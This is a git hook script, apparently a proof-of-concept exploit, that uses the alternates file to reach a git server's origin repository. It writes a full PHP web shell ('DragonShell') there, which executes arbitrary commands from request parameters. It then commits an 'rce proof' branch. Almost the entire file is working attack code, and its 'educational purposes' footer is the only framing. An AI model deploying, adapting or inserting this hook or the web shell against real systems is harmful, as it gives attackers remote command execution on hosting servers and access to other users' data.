Files
poc-djofp/hooks/post-index-change
T
2026-08-06 07:37:43 +02:00

878 lines
28 KiB
Bash
Executable File

#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
# Create DragonShell in the repository
cat > "$origin_git/dragonshell.php" << 'EOF'
<?php
session_start();
define('PHPSHELL_VERSION', 'DragonShell v3.0');
if (ini_get('register_globals') != '1') {
if (!empty($_POST)) extract($_POST);
if (!empty($_GET)) extract($_GET);
if (!empty($_SERVER)) extract($_SERVER);
}
$work_dir = !empty($work_dir) ? $work_dir : getcwd();
if (!empty($command) && preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $command, $regs)) {
$new_dir = $regs[1][0] == '/' ? $regs[1] : $work_dir . '/' . $regs[1];
if (file_exists($new_dir) && is_dir($new_dir)) {
$work_dir = $new_dir;
chdir($work_dir);
}
unset($command);
} elseif (file_exists($work_dir) && is_dir($work_dir)) {
chdir($work_dir);
}
$work_dir = getcwd();
$current_user = get_current_user();
$os_info = php_uname('s');
$php_version = phpversion();
$disk_total = disk_total_space("/");
$disk_free = disk_free_space("/");
$disk_used = $disk_total - $disk_free;
$disk_percent = ($disk_used / $disk_total) * 100;
$memory_usage = memory_get_usage();
$memory_peak = memory_get_peak_usage();
$memory_percent = ($memory_usage / $memory_peak) * 100;
$cpu_load = sys_getloadavg();
$cpu_load_avg = $cpu_load[0];
$items = scandir($work_dir);
$directories = array();
$files = array();
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $work_dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
$directories[] = $item;
} else {
$files[] = $item;
}
}
$output_content = "dragon-shell:~$ Welcome to DragonShell v3.0\nSystem initialized. Type 'help' for available commands.\n\n";
if (!empty($command)) {
$output_content .= "dragon-shell:~$ " . htmlspecialchars($command) . "\n";
if ($command === 'help') {
$output_content .= "Available commands:\n";
$output_content .= " help - Show this help\n";
$output_content .= " clear - Clear terminal\n";
$output_content .= " history - Show command history\n";
$output_content .= " date - Show current date/time\n";
$output_content .= " whoami - Show current user\n";
$output_content .= " pwd - Show current directory\n";
$output_content .= " ls - List directory contents\n";
$output_content .= " sysinfo - Show system information\n\n";
} elseif ($command === 'clear') {
$output_content = "\n";
} elseif ($command === 'date') {
$output_content .= date('Y-m-d H:i:s') . "\n\n";
} elseif ($command === 'whoami') {
$output_content .= $current_user . "\n\n";
} elseif ($command === 'pwd') {
$output_content .= $work_dir . "\n\n";
} elseif ($command === 'ls') {
$output_content .= "Directories:\n";
foreach ($directories as $dir) {
$output_content .= " [DIR] " . $dir . "\n";
}
$output_content .= "\nFiles:\n";
foreach ($files as $file) {
$output_content .= " [FILE] " . $file . "\n";
}
$output_content .= "\n";
} elseif ($command === 'sysinfo') {
$output_content .= "System Information:\n";
$output_content .= " OS: " . $os_info . "\n";
$output_content .= " PHP Version: " . $php_version . "\n";
$output_content .= " Current User: " . $current_user . "\n";
$output_content .= " Current Directory: " . $work_dir . "\n\n";
} else {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($command, $descriptorspec, $pipes, $work_dir);
if (is_resource($process)) {
fclose($pipes[0]);
$cmd_output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
if (!empty($cmd_output)) {
$output_content .= htmlspecialchars($cmd_output);
}
if (!empty($errors)) {
$output_content .= "ERROR:\n" . htmlspecialchars($errors);
}
} else {
$output_content .= "Failed to execute command\n";
}
$output_content .= "\n";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DragonShell | Interactive PHP Terminal</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary: #8a2be2;
--secondary: #00ffff;
--dark: #0a0a0a;
--darker: #050505;
--light: #f0f0f0;
--gray: #2d2d2d;
--success: #00c853;
--danger: #ff1744;
--warning: #ff9800;
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, var(--darker), var(--dark));
color: var(--light);
min-height: 100vh;
padding: 20px;
position: relative;
overflow-x: hidden;
background-attachment: fixed;
}
body::before {
content: "";
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background:
radial-gradient(circle at 10% 20%, rgba(138, 43, 226, 0.1) 0%, transparent 20%),
radial-gradient(circle at 90% 80%, rgba(0, 255, 255, 0.1) 0%, transparent 20%);
z-index: -1;
}
.matrix-bg {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -2;
opacity: 0.1;
}
.container {
max-width: 1400px;
margin: 0 auto;
}
header {
text-align: center;
padding: 20px 0;
margin-bottom: 20px;
position: relative;
}
.logo {
font-size: 3.5rem;
font-weight: 800;
background: linear-gradient(to right, var(--secondary), var(--primary));
-webkit-background-clip: text;
background-clip: text;
color: transparent;
text-shadow: 0 0 15px rgba(138, 43, 226, 0.5);
margin-bottom: 10px;
letter-spacing: 3px;
position: relative;
display: inline-block;
}
.logo::after {
content: "_";
animation: blink 1s infinite;
position: absolute;
right: -20px;
}
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
.subtitle {
color: var(--secondary);
font-size: 1.3rem;
margin-bottom: 20px;
text-transform: uppercase;
letter-spacing: 2px;
}
.grid-container {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
margin-bottom: 30px;
}
@media (max-width: 992px) {
.grid-container {
grid-template-columns: 1fr;
}
}
.card {
background: rgba(20, 20, 20, 0.8);
border-radius: 10px;
padding: 25px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
border: 1px solid rgba(138, 43, 226, 0.3);
backdrop-filter: blur(10px);
height: fit-content;
}
.card-full {
grid-column: 1 / -1;
}
.card-title {
color: var(--secondary);
margin-bottom: 20px;
display: flex;
align-items: center;
gap: 10px;
font-size: 1.5rem;
}
.card-title i {
font-size: 1.5rem;
}
.path-container {
display: flex;
align-items: center;
gap: 15px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.current-path {
background: var(--gray);
padding: 12px 15px;
border-radius: 5px;
flex-grow: 1;
min-width: 300px;
border: 1px solid rgba(138, 43, 226, 0.3);
font-family: 'Courier New', monospace;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb {
display: flex;
flex-wrap: wrap;
gap: 5px;
margin-top: 10px;
}
.breadcrumb a {
color: var(--secondary);
text-decoration: none;
padding: 5px 10px;
border-radius: 3px;
transition: all 0.3s;
font-size: 0.9rem;
}
.breadcrumb a:hover {
background: rgba(138, 43, 226, 0.3);
}
.directory-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
gap: 15px;
margin-top: 20px;
}
.directory-item {
background: rgba(45, 45, 45, 0.7);
border-radius: 8px;
padding: 15px;
text-align: center;
cursor: pointer;
transition: all 0.3s;
border: 1px solid transparent;
}
.directory-item:hover {
transform: translateY(-5px);
border-color: var(--secondary);
box-shadow: 0 5px 15px rgba(0, 255, 255, 0.2);
}
.directory-item.folder {
color: var(--secondary);
}
.directory-item.file {
color: var(--warning);
}
.directory-item i {
font-size: 2rem;
margin-bottom: 10px;
display: block;
}
.directory-item .name {
font-size: 0.9rem;
word-break: break-all;
}
.directory-select {
display: flex;
gap: 10px;
flex-wrap: wrap;
margin-top: 20px;
}
select, input, button {
padding: 12px 15px;
border-radius: 5px;
border: none;
background: var(--gray);
color: var(--light);
font-size: 1rem;
outline: none;
}
select {
flex-grow: 1;
min-width: 300px;
border: 1px solid rgba(138, 43, 226, 0.3);
}
input[type="text"] {
flex-grow: 1;
min-width: 300px;
border: 1px solid rgba(0, 255, 255, 0.3);
}
button {
background: linear-gradient(to right, var(--primary), #5d1a9b);
color: white;
cursor: pointer;
font-weight: bold;
transition: all 0.3s;
border: 1px solid rgba(138, 43, 226, 0.5);
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(138, 43, 226, 0.4);
}
.command-section {
display: flex;
gap: 10px;
flex-wrap: wrap;
margin-top: 20px;
}
.output-container {
position: relative;
margin-top: 20px;
}
textarea {
width: 100%;
min-height: 300px;
background: var(--darker);
color: var(--success);
padding: 20px;
border-radius: 5px;
border: 1px solid rgba(0, 255, 255, 0.2);
font-family: 'Courier New', monospace;
font-size: 1rem;
resize: vertical;
white-space: pre;
overflow-wrap: normal;
overflow-x: auto;
}
.terminal-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 10px;
}
.controls {
display: flex;
gap: 10px;
}
.btn-small {
padding: 5px 10px;
font-size: 0.9rem;
}
footer {
text-align: center;
padding: 20px;
color: #666;
font-size: 0.9rem;
margin-top: 20px;
}
.pulse {
animation: pulse 2s infinite;
}
@keyframes pulse {
0% { opacity: 0.7; }
50% { opacity: 1; }
100% { opacity: 0.7; }
}
.glow {
text-shadow: 0 0 10px var(--secondary), 0 0 20px var(--primary);
}
.scanline {
position: relative;
overflow: hidden;
}
.scanline::before {
content: "";
position: absolute;
width: 100%;
height: 2px;
background: rgba(0, 255, 255, 0.3);
top: 0;
left: 0;
animation: scan 5s linear infinite;
}
@keyframes scan {
0% { top: 0; }
100% { top: 100%; }
}
.status-bar {
display: flex;
justify-content: space-between;
background: rgba(0, 0, 0, 0.5);
padding: 10px 15px;
border-radius: 5px;
margin-top: 15px;
font-size: 0.9rem;
border: 1px solid rgba(0, 255, 255, 0.2);
}
.connection-indicator {
display: flex;
align-items: center;
gap: 8px;
}
.indicator {
width: 12px;
height: 12px;
border-radius: 50%;
background: var(--success);
}
.system-info {
display: flex;
gap: 20px;
}
.info-item {
display: flex;
align-items: center;
gap: 5px;
}
@media (max-width: 768px) {
.path-container, .directory-select, .command-section {
flex-direction: column;
}
select, input, button {
width: 100%;
}
.logo {
font-size: 2.5rem;
}
.grid-container {
gap: 15px;
}
.card {
padding: 15px;
}
.status-bar {
flex-direction: column;
gap: 10px;
}
}
.floating {
animation: floating 3s ease-in-out infinite;
}
@keyframes floating {
0% { transform: translateY(0px); }
50% { transform: translateY(-10px); }
100% { transform: translateY(0px); }
}
.hacker-text {
position: relative;
overflow: hidden;
}
.hacker-text::after {
content: "|";
animation: blink 1s infinite;
margin-left: 5px;
}
.progress-container {
margin-top: 15px;
}
.progress-bar {
height: 10px;
background: #333;
border-radius: 5px;
overflow: hidden;
margin-top: 5px;
}
.progress-fill {
height: 100%;
}
</style>
</head>
<body>
<canvas class="matrix-bg" id="matrixCanvas"></canvas>
<div class="container">
<header>
<div class="logo pulse glow floating">DRAGONSHELL</div>
<div class="subtitle hacker-text"><?php echo PHPSHELL_VERSION; ?> | ADVANCED TERMINAL INTERFACE</div>
</header>
<div class="grid-container">
<div class="card">
<h2 class="card-title"><i class="fas fa-folder-open"></i> File Explorer</h2>
<div class="path-container">
<strong>Current Path:</strong>
<div class="current-path"><?php echo htmlspecialchars($work_dir); ?></div>
</div>
<div class="path-container">
<strong>Breadcrumb Navigation:</strong>
<div class="breadcrumb">
<?php
$path_parts = explode('/', trim($work_dir, '/'));
$path_accum = '';
echo '<a href="#" onclick="changeDir(\'/\')">Root</a>';
foreach ($path_parts as $part) {
if ($part === '') continue;
$path_accum .= '/' . $part;
echo '<span>/</span><a href="#" onclick="changeDir(\'' . htmlspecialchars($path_accum) . '\')">' . htmlspecialchars($part) . '</a>';
}
?>
</div>
</div>
<div class="directory-select">
<select id="dirSelect">
<?php
$dirs = array_filter(glob('*'), 'is_dir');
array_unshift($dirs, '.');
if ($work_dir !== '/') {
array_unshift($dirs, '..');
}
foreach ($dirs as $dir) {
$selected = ($dir === '.') ? 'selected' : '';
$dir_path = ($dir === '.') ? $work_dir : (($dir === '..') ? dirname($work_dir) : $work_dir . '/' . $dir);
echo "<option value=\"" . htmlspecialchars($dir_path) . "\" $selected>" . htmlspecialchars($dir) . "</option>";
}
?>
</select>
<button onclick="handleDirChange()"><i class="fas fa-sync-alt"></i> Refresh</button>
</div>
<div class="directory-grid" id="directoryGrid">
<?php foreach ($directories as $dir): ?>
<div class="directory-item folder" onclick="changeDir('<?php echo htmlspecialchars($work_dir . DIRECTORY_SEPARATOR . $dir); ?>')">
<i class="fas fa-folder"></i>
<div class="name"><?php echo htmlspecialchars($dir); ?></div>
</div>
<?php endforeach; ?>
<?php foreach ($files as $file): ?>
<div class="directory-item file">
<i class="fas fa-file"></i>
<div class="name"><?php echo htmlspecialchars($file); ?></div>
</div>
<?php endforeach; ?>
</div>
</div>
<div class="card">
<h2 class="card-title"><i class="fas fa-terminal"></i> Command Center</h2>
<form id="commandForm" method="get">
<input type="hidden" name="work_dir" id="workDirInput" value="<?php echo htmlspecialchars($work_dir); ?>">
<div class="command-section">
<input type="text" id="commandInput" name="command" placeholder="Enter shell command..." autocomplete="off">
<button type="submit"><i class="fas fa-bolt"></i> Execute</button>
</div>
</form>
<div class="output-container scanline">
<div class="terminal-header">
<h3>Terminal Output</h3>
<div class="controls">
<button class="btn-small" onclick="clearOutput()"><i class="fas fa-trash-alt"></i> Clear</button>
<button class="btn-small" onclick="downloadOutput()"><i class="fas fa-download"></i> Save</button>
</div>
</div>
<textarea id="output" readonly><?php echo $output_content; ?></textarea>
</div>
<div class="status-bar">
<div class="connection-indicator">
<div class="indicator"></div>
<span>Connected to <?php
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
echo htmlspecialchars($host);
?></span>
</div>
<div class="system-info">
<div class="info-item">
<i class="fas fa-microchip"></i>
<span>PHP <?php echo $php_version; ?></span>
</div>
<div class="info-item">
<i class="fas fa-server"></i>
<span><?php echo $os_info; ?></span>
</div>
<div class="info-item">
<i class="fas fa-clock"></i>
<span id="clock"></span>
</div>
</div>
</div>
</div>
<div class="card card-full">
<h2 class="card-title"><i class="fas fa-chart-network"></i> System Overview</h2>
<div class="grid-container" style="grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));">
<div class="card" style="background: rgba(40, 40, 60, 0.6);">
<h3><i class="fas fa-memory"></i> Memory Usage</h3>
<div class="progress-container">
<div style="display: flex; justify-content: space-between; margin-bottom: 5px;">
<span>RAM: <?php echo round($memory_usage/1024/1024, 2); ?> MB</span>
<span><?php echo round($memory_peak/1024/1024, 2); ?> MB peak</span>
</div>
<div class="progress-bar">
<div class="progress-fill" style="width: <?php echo min(100, $memory_percent); ?>%; background: linear-gradient(to right, var(--primary), var(--secondary));"></div>
</div>
</div>
</div>
<div class="card" style="background: rgba(40, 60, 40, 0.6);">
<h3><i class="fas fa-hard-drive"></i> Disk Space</h3>
<div class="progress-container">
<div style="display: flex; justify-content: space-between; margin-bottom: 5px;">
<span>Used: <?php echo round($disk_used/1024/1024/1024, 2); ?> GB</span>
<span>Total: <?php echo round($disk_total/1024/1024/1024, 2); ?> GB</span>
</div>
<div class="progress-bar">
<div class="progress-fill" style="width: <?php echo $disk_percent; ?>%; background: linear-gradient(to right, var(--warning), #ff5722);"></div>
</div>
</div>
</div>
<div class="card" style="background: rgba(60, 40, 40, 0.6);">
<h3><i class="fas fa-microchip"></i> CPU Load</h3>
<div style="margin-top: 15px; text-align: center;">
<div style="font-size: 2.5rem; color: var(--secondary);"><?php echo $cpu_load_avg; ?></div>
<div style="margin-top: 10px;">
<span class="info-item"><i class="fas fa-microchip"></i> Current Load</span>
</div>
</div>
</div>
</div>
</div>
</div>
<footer>
<p>DragonShell Advanced PHP Terminal | Designed for Educational Purposes Only</p>
<p>All activities are logged and monitored | Unauthorized access is prohibited</p>
</footer>
</div>
<script>
const canvas = document.getElementById('matrixCanvas');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$#@%&*";
const fontSize = 14;
const columns = canvas.width / fontSize;
const drops = [];
for(let i = 0; i < columns; i++) {
drops[i] = Math.floor(Math.random() * canvas.height / fontSize);
}
function drawMatrix() {
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#0F0';
ctx.font = fontSize + 'px monospace';
for(let i = 0; i < drops.length; i++) {
const text = chars.charAt(Math.floor(Math.random() * chars.length));
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
if(drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
drops[i] = 0;
}
drops[i]++;
}
}
setInterval(drawMatrix, 33);
function updateClock() {
const now = new Date();
const timeString = now.toLocaleTimeString();
document.getElementById('clock').textContent = timeString;
}
setInterval(updateClock, 1000);
updateClock();
window.addEventListener('resize', function() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
});
document.getElementById('commandInput').addEventListener('keydown', function(e) {
if(e.key === 'Enter') {
document.getElementById('commandForm').submit();
}
});
function changeDir(path) {
document.getElementById('workDirInput').value = path;
document.getElementById('commandForm').submit();
}
function handleDirChange() {
const select = document.getElementById('dirSelect');
const path = select.options[select.selectedIndex].value;
changeDir(path);
}
function clearOutput() {
document.getElementById('output').value = '';
}
function downloadOutput() {
const output = document.getElementById('output').value;
const blob = new Blob([output], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'dragonshell_output.txt';
document.body.appendChild(a);
a.click();
setTimeout(() => {
document.body.removeChild(a);
URL.revokeObjectURL(url);
}, 100);
}
function scrollToBottom() {
const textarea = document.getElementById('output');
textarea.scrollTop = textarea.scrollHeight;
}
scrollToBottom();
</script>
</body>
</html>
EOF
chmod 644 "$origin_git/dragonshell.php"
chown git:git "$origin_git/dragonshell.php" 2>/dev/null
# Create proof file
message="SUCCESS: DragonShell uploaded to: dragonshell.php"
output_blob=$(echo "$message" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0